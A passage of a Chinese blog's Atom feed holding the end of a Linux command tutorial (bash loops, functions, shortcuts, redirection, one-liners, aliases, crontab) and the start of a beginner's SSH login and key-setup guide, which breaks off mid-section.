id="%E5%BE%AA%E7%8E%AF">循环</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-meta">#!/bin/bash</span><br><br><span class="hljs-comment"># for 循环</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> 1 2 3 4 5; <span class="hljs-keyword">do</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Number: <span class="hljs-variable">$i</span>"</span><br><span class="hljs-keyword">done</span><br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> {1..10}; <span class="hljs-keyword">do</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Count: <span class="hljs-variable">$i</span>"</span><br><span class="hljs-keyword">done</span><br><br><span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> *.txt; <span class="hljs-keyword">do</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Processing: <span class="hljs-variable">$file</span>"</span><br><span class="hljs-keyword">done</span><br><br><span class="hljs-comment"># while 循环</span><br>count=1<br><span class="hljs-keyword">while</span> [ <span class="hljs-variable">$count</span> -le 5 ]; <span class="hljs-keyword">do</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Count: <span class="hljs-variable">$count</span>"</span><br>    ((count++))<br><span class="hljs-keyword">done</span><br><br><span class="hljs-comment"># 读取文件每一行</span><br><span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> line; <span class="hljs-keyword">do</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Line: <span class="hljs-variable">$line</span>"</span><br><span class="hljs-keyword">done</span> &lt; file.txt<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%87%BD%E6%95%B0">函数</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-meta">#!/bin/bash</span><br><br><span class="hljs-comment"># 定义函数</span><br><span class="hljs-function"><span class="hljs-title">greet</span></span>() {<br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">"Hello, <span class="hljs-variable">$1</span>!"</span><br>}<br><br><span class="hljs-comment"># 调用函数</span><br>greet <span class="hljs-string">"Alice"</span><br>greet <span class="hljs-string">"Bob"</span><br><br><span class="hljs-comment"># 带返回值的函数</span><br><span class="hljs-function"><span class="hljs-title">add</span></span>() {<br>    result=$((<span class="hljs-variable">$1</span> + <span class="hljs-variable">$2</span>))<br>    <span class="hljs-built_in">echo</span> <span class="hljs-variable">$result</span><br>}<br><br><span class="hljs-built_in">sum</span>=$(add 5 3)<br><span class="hljs-built_in">echo</span> <span class="hljs-string">"5 + 3 = <span class="hljs-variable">$sum</span>"</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="15-%E5%AE%9E%E7%94%A8%E6%8A%80%E5%B7%A7%E4%B8%8E%E5%BF%AB%E6%8D%B7%E9%94%AE">15. 实用技巧与快捷键</span></h2><h3><span id="%E7%BB%88%E7%AB%AF%E5%BF%AB%E6%8D%B7%E9%94%AE">终端快捷键</span></h3><table><thead><tr><th>快捷键</th><th>功能</th></tr></thead><tbody><tr><td><code>Ctrl+C</code></td><td>终止当前命令</td></tr><tr><td><code>Ctrl+D</code></td><td>退出当前终端 / EOF</td></tr><tr><td><code>Ctrl+Z</code></td><td>暂停当前进程</td></tr><tr><td><code>Ctrl+L</code></td><td>清屏（等同于 clear）</td></tr><tr><td><code>Ctrl+A</code></td><td>光标移到行首</td></tr><tr><td><code>Ctrl+E</code></td><td>光标移到行尾</td></tr><tr><td><code>Ctrl+U</code></td><td>删除光标前所有内容</td></tr><tr><td><code>Ctrl+K</code></td><td>删除光标后所有内容</td></tr><tr><td><code>Ctrl+W</code></td><td>删除前一个单词</td></tr><tr><td><code>Ctrl+R</code></td><td>搜索命令历史</td></tr><tr><td><code>Ctrl+Shift+C</code></td><td>复制（终端中）</td></tr><tr><td><code>Ctrl+Shift+V</code></td><td>粘贴（终端中）</td></tr><tr><td><code>Tab</code></td><td>自动补全</td></tr><tr><td><code>!!</code></td><td>执行上一条命令</td></tr><tr><td><code>!$</code></td><td>上一条命令的最后一个参数</td></tr></tbody></table><h3><span id="%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA%E9%87%8D%E5%AE%9A%E5%90%91">输入输出重定向</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 输出重定向</span><br><span class="hljs-built_in">command</span> &gt; file.txt          <span class="hljs-comment"># 覆盖写入（标准输出）</span><br><span class="hljs-built_in">command</span> &gt;&gt; file.txt         <span class="hljs-comment"># 追加写入（标准输出）</span><br><span class="hljs-built_in">command</span> 2&gt; error.log        <span class="hljs-comment"># 错误输出重定向</span><br><span class="hljs-built_in">command</span> &amp;&gt; all.log          <span class="hljs-comment"># 标准输出和错误都重定向</span><br><span class="hljs-built_in">command</span> &gt; /dev/null         <span class="hljs-comment"># 丢弃输出（黑洞）</span><br><br><span class="hljs-comment"># 输入重定向</span><br><span class="hljs-built_in">command</span> &lt; input.txt<br><span class="hljs-built_in">wc</span> -l &lt; file.txt<br><br><span class="hljs-comment"># 管道 - 连接多个命令</span><br>command1 | command2 | command3<br><span class="hljs-comment"># 示例:</span><br><span class="hljs-built_in">cat</span> access.log | grep <span class="hljs-string">"404"</span> | awk <span class="hljs-string">'{print $1}'</span> | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn<br><span class="hljs-comment"># 统计访问日志中返回404最多的IP</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%B8%B8%E7%94%A8%E4%B8%80%E8%A1%8C%E5%91%BD%E4%BB%A4">常用一行命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 查找最大的10个文件</span><br>find / -<span class="hljs-built_in">type</span> f -<span class="hljs-built_in">exec</span> <span class="hljs-built_in">du</span> -Sh {} + | <span class="hljs-built_in">sort</span> -rh | <span class="hljs-built_in">head</span> -n 10<br><br><span class="hljs-comment"># 查找所有空文件和空目录</span><br>find . -empty<br><br><span class="hljs-comment"># 批量重命名文件（添加前缀）</span><br><span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> *.txt; <span class="hljs-keyword">do</span> <span class="hljs-built_in">mv</span> <span class="hljs-string">"<span class="hljs-variable">$f</span>"</span> <span class="hljs-string">"prefix_<span class="hljs-variable">$f</span>"</span>; <span class="hljs-keyword">done</span><br><br><span class="hljs-comment"># 统计代码行数</span><br>find . -name <span class="hljs-string">"*.py"</span> | xargs <span class="hljs-built_in">wc</span> -l | <span class="hljs-built_in">tail</span> -1<br><br><span class="hljs-comment"># 查找包含特定字符串的文件</span><br>grep -rl <span class="hljs-string">"TODO"</span> src/<br><br><span class="hljs-comment"># 查看目录下各文件类型数量</span><br>find . -<span class="hljs-built_in">type</span> f | sed <span class="hljs-string">'s/.*\.//'</span> | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c<br><br><span class="hljs-comment"># 快速备份文件</span><br><span class="hljs-built_in">cp</span> file.txt{,.bak}     <span class="hljs-comment"># 等同于 cp file.txt file.txt.bak</span><br><br><span class="hljs-comment"># 生成随机密码</span><br>openssl rand -<span class="hljs-built_in">base64</span> 16<br><span class="hljs-built_in">cat</span> /dev/urandom | <span class="hljs-built_in">tr</span> -dc <span class="hljs-string">'a-zA-Z0-9'</span> | <span class="hljs-built_in">head</span> -c 16<br><br><span class="hljs-comment"># 查看最常用的10条命令</span><br><span class="hljs-built_in">history</span> | awk <span class="hljs-string">'{print $2}'</span> | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn | <span class="hljs-built_in">head</span> -10<br><br><span class="hljs-comment"># 批量杀死进程</span><br>ps aux | grep process_name | awk <span class="hljs-string">'{print $2}'</span> | xargs <span class="hljs-built_in">kill</span> -9<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%88%AB%E5%90%8D%E4%B8%8E%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6">别名与配置文件</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># ~/.bashrc 或 ~/.zshrc 中定义别名</span><br><span class="hljs-built_in">alias</span> ll=<span class="hljs-string">'ls -alF'</span><br><span class="hljs-built_in">alias</span> la=<span class="hljs-string">'ls -A'</span><br><span class="hljs-built_in">alias</span> ..=<span class="hljs-string">'cd ..'</span><br><span class="hljs-built_in">alias</span> ...=<span class="hljs-string">'cd ../..'</span><br><span class="hljs-built_in">alias</span> gs=<span class="hljs-string">'git status'</span><br><span class="hljs-built_in">alias</span> gp=<span class="hljs-string">'git pull'</span><br><span class="hljs-built_in">alias</span> <span class="hljs-built_in">df</span>=<span class="hljs-string">'df -h'</span><br><span class="hljs-built_in">alias</span> <span class="hljs-built_in">du</span>=<span class="hljs-string">'du -sh'</span><br><span class="hljs-built_in">alias</span> myip=<span class="hljs-string">'curl ifconfig.me'</span><br><span class="hljs-built_in">alias</span> ports=<span class="hljs-string">'ss -tlnp'</span><br><br><span class="hljs-comment"># 使配置生效</span><br><span class="hljs-built_in">source</span> ~/.bashrc<br><span class="hljs-comment"># 或</span><br>. ~/.bashrc<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1-crontab">定时任务 (Crontab)</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 格式: 分 时 日 月 周 命令</span><br><span class="hljs-comment"># * * * * * command</span><br><br><span class="hljs-comment"># 编辑定时任务</span><br>crontab -e<br><br><span class="hljs-comment"># 查看定时任务</span><br>crontab -l<br><br><span class="hljs-comment"># 常用示例:</span><br>0 3 * * * /backup.sh               <span class="hljs-comment"># 每天凌晨3点执行备份</span><br>*/5 * * * * /path/to/script.sh     <span class="hljs-comment"># 每5分钟执行</span><br>0 0 1 * * /monthly.sh              <span class="hljs-comment"># 每月1号执行</span><br>@reboot /startup.sh                <span class="hljs-comment"># 开机启动</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="%E6%80%BB%E7%BB%93">总结</span></h2><p>这份教程涵盖了 Linux 最核心和最常用的命令。建议按以下路径学习：</p><ol><li>✅ 先掌握<strong>文件目录操作</strong>（ls, cd, cp, mv, rm）</li><li>✅ 学会<strong>查看文件内容</strong>（cat, less, head, tail）</li><li>✅ 理解<strong>权限系统</strong>（chmod, chown）</li><li>✅ 熟练使用<strong>管道和重定向</strong></li><li>✅ 掌握<strong>grep</strong> 进行文本搜索</li><li>✅ 学会<strong>进程管理</strong>（ps, top, kill）</li><li>✅ 最后学习 <strong>Shell 脚本</strong> 自动化任务</li></ol><blockquote><p>💡 <strong>提示</strong>：最好的学习方式就是多用！在虚拟机或云服务器上搭建一个 Linux 环境，每天用命令行完成日常操作，很快就能熟练。</p></blockquote><hr><blockquote><p><strong>参考资源</strong>：</p><ul><li><a href="https://linux.die.net/man/">Linux man pages</a></li><li><a href="https://linuxcommand.org/">The Linux Command Line (免费书籍)</a></li><li><a href="https://explainshell.com/">explainshell.com</a> - 解析复杂命令</li></ul></blockquote></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/06/27/linux-command/</id>
    <link href="https://ttquk.github.io/2026/06/27/linux-command/"/>
    <published>2026-06-27T11:30:00.000Z</published>
    <summary>最全的 Linux 命令教程，从基础入门到高级技巧，涵盖文件操作、权限管理、进程控制、网络配置等常用 Shell 命令详解。</summary>
    <title>🐧Linux命令教程大全-从入门到精通</title>
    <updated>2026-07-12T03:17:45.642Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="Linux" scheme="https://ttquk.github.io/categories/Linux/"/>
    <category term="Linux" scheme="https://ttquk.github.io/tags/Linux/"/>
    <category term="ssh" scheme="https://ttquk.github.io/tags/ssh/"/>
    <content>
      <![CDATA[<html><head></head><body><h2><span id="%E7%9B%AE%E5%BD%95">目录</span></h2><ol><li><a href="#1-%E4%BB%80%E4%B9%88%E6%98%AF-ssh">什么是 SSH</a></li><li><a href="#2-%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C">准备工作</a></li><li><a href="#3-%E5%AE%89%E8%A3%85-ssh-%E5%AE%A2%E6%88%B7%E7%AB%AF">安装 SSH 客户端</a></li><li><a href="#4-%E5%9F%BA%E7%A1%80%E8%BF%9E%E6%8E%A5%E5%AF%86%E7%A0%81%E7%99%BB%E5%BD%95">基础连接——密码登录</a></li><li><a href="#5-%E8%BF%9B%E9%98%B6%E8%BF%9E%E6%8E%A5%E5%AF%86%E9%92%A5%E7%99%BB%E5%BD%95">进阶连接——密钥登录</a></li><li><a href="#6-ssh-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6">SSH 配置文件</a></li><li><a href="#7-%E5%B8%B8%E7%94%A8%E5%9C%BA%E6%99%AF">常用场景</a></li><li><a href="#8-%E5%AE%89%E5%85%A8%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5">安全最佳实践</a></li><li><a href="#9-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98%E6%8E%92%E6%9F%A5">常见问题排查</a></li></ol><hr><h2><span id="1-%E4%BB%80%E4%B9%88%E6%98%AF-ssh">1. 什么是 SSH</span></h2><p><strong>SSH</strong>（Secure Shell）是一种加密的网络协议，用于在不安全的网络中安全地远程登录和管理服务器。它就像一条”加密隧道”，让你的电脑与远程服务器之间建立一条安全通道。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart LR<br>    A[💻 你的电脑&lt;br/&gt;SSH 客户端] &lt;--&gt;|🔒 加密隧道&lt;br/&gt;SSH Protocol| B[🖥️ 远程服务器&lt;br/&gt;SSH 服务端]<br>    <br>    style A fill:#4A90D9,color:#fff,stroke:#2B5F8E<br>    style B fill:#E67E22,color:#fff,stroke:#B5611A<br></code></pre></td></tr></tbody></table></figure><h3><span id="ssh-%E8%83%BD%E5%81%9A%E4%BB%80%E4%B9%88">SSH 能做什么？</span></h3><table><thead><tr><th>功能</th><th>说明</th></tr></thead><tbody><tr><td>🔑 <strong>远程登录</strong></td><td>在本地操作远程服务器的命令行</td></tr><tr><td>📁 <strong>文件传输</strong></td><td>通过 <code>scp</code> / <code>sftp</code> 安全传输文件</td></tr><tr><td>🔄 <strong>端口转发</strong></td><td>将远程服务映射到本地访问</td></tr><tr><td>🚀 <strong>Git 操作</strong></td><td>推送/拉取代码到 GitHub / GitLab</td></tr><tr><td>🛠️ <strong>远程执行</strong></td><td>直接执行服务器上的脚本或命令</td></tr></tbody></table><hr><h2><span id="2-%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C">2. 准备工作</span></h2><p>在开始连接之前，你需要准备以下信息：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart TD<br>    subgraph 必备信息<br>        A["📋 IP 地址&lt;br/&gt;例如: 192.168.1.100"] <br>        B["👤 用户名&lt;br/&gt;例如: root 或 admin"]<br>        C["🔢 端口号&lt;br/&gt;默认: 22"]<br>        D["🔐 认证方式&lt;br/&gt;密码 或 SSH 密钥"]<br>    end<br>    <br>    style A fill:#3498DB,color:#fff<br>    style B fill:#2ECC71,color:#fff<br>    style C fill:#F39C12,color:#fff<br>    style D fill:#E74C3C,color:#fff<br></code></pre></td></tr></tbody></table></figure><blockquote><p>💡 <strong>提示</strong>：如果你是首次使用，可以向服务器管理员索取以上信息。云服务器（如阿里云、腾讯云、AWS）通常在控制台提供这些信息。</p></blockquote><hr><h2><span id="3-%E5%AE%89%E8%A3%85-ssh-%E5%AE%A2%E6%88%B7%E7%AB%AF">3. 安装 SSH 客户端</span></h2><h3><span id="31-windows-%E7%B3%BB%E7%BB%9F">3.1 Windows 系统</span></h3><p>Windows 10/11 已<strong>内置</strong> OpenSSH 客户端，无需额外安装。</p><p><strong>验证是否已安装：</strong></p><p>打开 <strong>PowerShell</strong> 或 <strong>CMD</strong>，输入：</p><figure class="highlight powershell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs powershell">ssh <span class="hljs-literal">-V</span><br></code></pre></td></tr></tbody></table></figure><p>如果显示版本号（如 <code>OpenSSH_for_Windows_8.6p1</code>），说明已安装。</p><blockquote><p><strong>如果未安装</strong>，可以按以下步骤操作：</p></blockquote><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">设置 → 应用 → 可选功能 → 添加功能 → 搜索"OpenSSH 客户端" → 安装<br></code></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">流程图：<br>┌─────────────────────────────────────────┐<br>│  设置 → 应用 → 可选功能                   │<br>│    ↓                                     │<br>│  点击 "添加功能"                          │<br>│    ↓                                     │<br>│  搜索框输入: OpenSSH                      │<br>│    ↓                                     │<br>│  勾选 "OpenSSH 客户端" → 安装             │<br>│    ↓                                     │<br>│  重启终端，运行 ssh -V 验证               │<br>└─────────────────────────────────────────┘<br></code></pre></td></tr></tbody></table></figure><h3><span id="32-macos-%E7%B3%BB%E7%BB%9F">3.2 macOS 系统</span></h3><p>macOS <strong>自带</strong> OpenSSH，打开 <strong>终端 (Terminal)</strong> 即可使用：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh -V<br></code></pre></td></tr></tbody></table></figure><h3><span id="33-linux-%E7%B3%BB%E7%BB%9F">3.3 Linux 系统</span></h3><p>绝大多数 Linux 发行版已预装 OpenSSH。如未安装：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># Ubuntu / Debian</span><br><span class="hljs-built_in">sudo</span> apt update &amp;&amp; <span class="hljs-built_in">sudo</span> apt install openssh-client -y<br><br><span class="hljs-comment"># CentOS / RHEL / Fedora</span><br><span class="hljs-built_in">sudo</span> yum install openssh-clients -y<br><br><span class="hljs-comment"># Arch Linux</span><br><span class="hljs-built_in">sudo</span> pacman -S openssh<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="4-%E5%9F%BA%E7%A1%80%E8%BF%9E%E6%8E%A5%E5%AF%86%E7%A0%81%E7%99%BB%E5%BD%95">4. 基础连接——密码登录</span></h2><h3><span id="41-%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4%E6%A0%BC%E5%BC%8F">4.1 基本命令格式</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh [用户名]@[服务器IP] -p [端口号]<br></code></pre></td></tr></tbody></table></figure><table><thead><tr><th>参数</th><th>说明</th><th>是否必填</th></tr></thead><tbody><tr><td><code>用户名</code></td><td>服务器上的用户账号</td><td>✅ 必填</td></tr><tr><td><code>服务器IP</code></td><td>服务器的公网或内网 IP 地址</td><td>✅ 必填</td></tr><tr><td><code>-p 端口号</code></td><td>SSH 服务端口，默认 22 时可省略</td><td>❌ 可选</td></tr></tbody></table><h3><span id="42-%E5%AE%9E%E9%99%85%E6%93%8D%E4%BD%9C%E6%BC%94%E7%A4%BA">4.2 实际操作演示</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">sequenceDiagram<br>    participant PC as 💻 你的电脑<br>    participant Server as 🖥️ 远程服务器<br>    <br>    PC-&gt;&gt;Server: ① ssh root@192.168.1.100<br>    Server--&gt;&gt;PC: ② 返回服务器指纹，询问是否信任<br>    PC-&gt;&gt;Server: ③ 输入 yes 确认<br>    Server--&gt;&gt;PC: ④ 要求输入密码<br>    PC-&gt;&gt;Server: ⑤ 输入密码（输入时不显示）<br>    Server--&gt;&gt;PC: ⑥ 验证通过，进入终端 ✅<br>    <br>    Note over PC,Server: 🔒 全程加密传输<br></code></pre></td></tr></tbody></table></figure><p><strong>第一步：在终端输入连接命令</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh root@192.168.1.100<br></code></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">终端显示：<br>┌────────────────────────────────────────────────────┐<br>│ PS C:\Users\Admin&gt; ssh root@192.168.1.100         │<br>│                                                    │<br>│ The authenticity of host '192.168.1.100'           │<br>│ can't be established.                              │<br>│ ECDSA key fingerprint is                           │<br>│ SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.      │<br>│                                                    │<br>│ Are you sure you want to continue                  │<br>│ connecting (yes/no/[fingerprint])? _               │<br>└────────────────────────────────────────────────────┘<br></code></pre></td></tr></tbody></table></figure><p><strong>第二步：确认服务器指纹</strong></p><p>首次连接会看到上面的提示，这是安全机制——SSH 在确认你是否信任该服务器。</p><p>输入 <code>yes</code> 并按回车：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br></code></pre></td></tr></tbody></table></figure><blockquote><p>⚠️ <strong>安全提示</strong>：如果你连接的是已知服务器但指纹突然变了，可能是<strong>中间人攻击</strong>，请立即停止并联系管理员！</p></blockquote><p><strong>第三步：输入密码</strong></p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">root@192.168.1.100's password: _<br></code></pre></td></tr></tbody></table></figure><blockquote><p>注意：输入密码时屏幕上<strong>不会显示任何字符</strong>（没有 <code>***</code>），这是正常的安全设计。输入完成后直接按回车。</p></blockquote><p><strong>第四步：连接成功！</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash">Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-91-generic)<br>Last login: Mon Jun 26 15:30:22 2026 from 192.168.1.50<br><br>root@server:~$ _<br></code></pre></td></tr></tbody></table></figure><p>此时你已经在远程服务器上了！可以执行 Linux 命令。</p><h3><span id="43-%E9%80%80%E5%87%BA%E8%BF%9E%E6%8E%A5">4.3 退出连接</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">exit</span><br><span class="hljs-comment"># 或按 Ctrl + D</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="5-%E8%BF%9B%E9%98%B6%E8%BF%9E%E6%8E%A5%E5%AF%86%E9%92%A5%E7%99%BB%E5%BD%95">5. 进阶连接——密钥登录</span></h2><p>密码登录每次都要输入密码，既麻烦又不安全。<strong>SSH 密钥登录</strong>是更推荐的方式。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart TB<br>    subgraph 密钥对工作原理<br>        direction LR<br>        A["🔑 私钥 (Private Key)&lt;br/&gt;保存在你的电脑&lt;br/&gt;绝不外传！"] <br>        B["🔓 公钥 (Public Key)&lt;br/&gt;上传到服务器&lt;br/&gt;可以公开"]<br>    end<br>    <br>    A -.-&gt;|"配对验证"| B<br>    <br>    C["🔒 用公钥加密的数据&lt;br/&gt;只能用对应的私钥解密"] --&gt;|验证通过| D["✅ 免密登录成功"]<br>    <br>    style A fill:#E74C3C,color:#fff<br>    style B fill:#3498DB,color:#fff<br>    style D fill:#2ECC71,color:#fff<br></code></pre></td></tr></tbody></table></figure><h3><span id="51-%E7%94%9F%E6%88%90-ssh-%E5%AF%86%E9%92%A5%E5%AF%B9">5.1 生成 SSH 密钥对</span></h3><p>在<strong>本地电脑</strong>的终端执行：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh-keygen -t ed25519 -C <span class="hljs-string">"your_email@example.com"</span><br></code></pre></td></tr></tbody></table></figure><table><thead><tr><th>参数</th><th>含义</th></tr></thead><tbody><tr><td><code>-t ed25519</code></td><td>密钥类型（Ed25519 比 RSA 更安全更快）</td></tr><tr><td><code>-C "注释"</code></td><td>备注信息，方便识别（通常填邮箱）</td></tr></tbody></table><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span 